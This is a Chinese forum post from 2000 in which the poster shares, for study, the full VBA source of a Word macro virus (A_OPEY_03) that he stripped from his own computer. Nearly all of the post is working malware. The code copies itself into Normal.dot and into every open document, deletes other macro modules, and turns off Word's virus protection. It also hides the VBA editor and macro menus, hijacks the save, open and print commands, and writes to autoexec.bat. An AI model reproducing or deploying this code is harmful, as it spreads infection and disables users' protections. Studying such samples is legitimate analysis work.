发信人: whc()
整理人: fishy(2000-05-23 14:12:33), 站内信件
|
晚上我爸爸的学生用我的电脑看论文,结果竟然把他们学校公共
鸡房的宏病毒带来了。
一看不对,手头也没杀毒盘,就直接删VB代码了,删之前特地留个备份给大家研 究研究,
编这病毒其实也挺简单的,一看就明白 -- 太可怕了 :O
幸好这是个良性病毒。
Attribute VB_Name = "A_OPEY_03"
Sub greetings()
On Error Resume Next
autoexecfile$ = "c:\autoexec.bat"
hFile = FreeFile
line1$ = ""
If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Da te) = 1) And (Day(Date) = 1)) Then
line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR ! !!"
End If
If (Month(Date) = 11) And (Day(Date) = 1) Then
line1$ = "echo HAPPY HALLOWEEN !!!"
End If
If (Month(Date) = 2) And (Day(Date) = 14) Then
line1$ = "echo HAPPY VALENTINES DAY !!!"
End If
If line1$ <> "" Then
Open autoexecfile$ For Append Access Write As hFil e
Print #hFile, "@echo off"
Print #hFile, line1$
Print #hFile, "echo from: OPEY A."
Print #hFile, "pause"
Close hFile
End If
End Sub
Sub OnlyYou()
On Error Resume Next
Call A_OPEY_03
NTInfected = False
For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(i).Name
If clan = "A_OPEY_03" Then NTInfected = True
If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name :=clan, Object:=wdOrganizerObjectProjectItems
Next i
For Each opendoc In Documents
ODInfected = False
With opendoc
For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
clan = opendoc.VBProject.VBComponents(j).Name
If clan = "A_OPEY_03" Then ODInfected = True
If (clan <> "A_OPEY_03") And (clan <> "ThisDocumen t") And (clan <> "Reference to Normal") Then Application.OrganizerDele te Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProj ectItems
Next j
If ODInfected = False Then
Application.OrganizerCopy Source:=NormalTemplate.F ullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdO rganizerObjectProjectItems
opendoc.SaveAs FileName:=opendoc.FullName
End If
End With
Next opendoc
If NTInfected = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullN ame, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:= wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
Call greetings
End Sub
Sub A_OPEY_03()
On Error Resume Next
Application.UserName = "OPEY A."
Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
Application.UserInitials = "LOVE"
With Dialogs(wdDialogFileSummaryInfo)
.Author = "OPEY A."
.Title = "LOVE"
.Execute
End With
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
With ActiveDocument
.ReadOnlyRecommended = False
End With
On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Customize...").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub FileSave()
On Error Resume Next
Call OnlyYou
ActiveDocument.Save
End Sub
Sub FileClose()
On Error Resume Next
Call OnlyYou
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
Call OnlyYou
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub FileNew()
On Error Resume Next
Dialogs(wdDialogFileNew).Show
newfile$ = 1
Call OnlyYou
End Sub
Sub AutoOpen()
On Error Resume Next
Call OnlyYou
End Sub
Sub AutoExec()
On Error Resume Next
Call OnlyYou
End Sub
Sub FileSaveAs()
On Error Resume Next
Call OnlyYou
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
On Error Resume Next
Call OnlyYou
Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub fileprint()
On Error Resume Next
Call OnlyYou
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
On Error Resume Next
Dialogs(wdDialogFileOpen).Show
Call OnlyYou
End Sub
-- ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.106.227.69]
|
|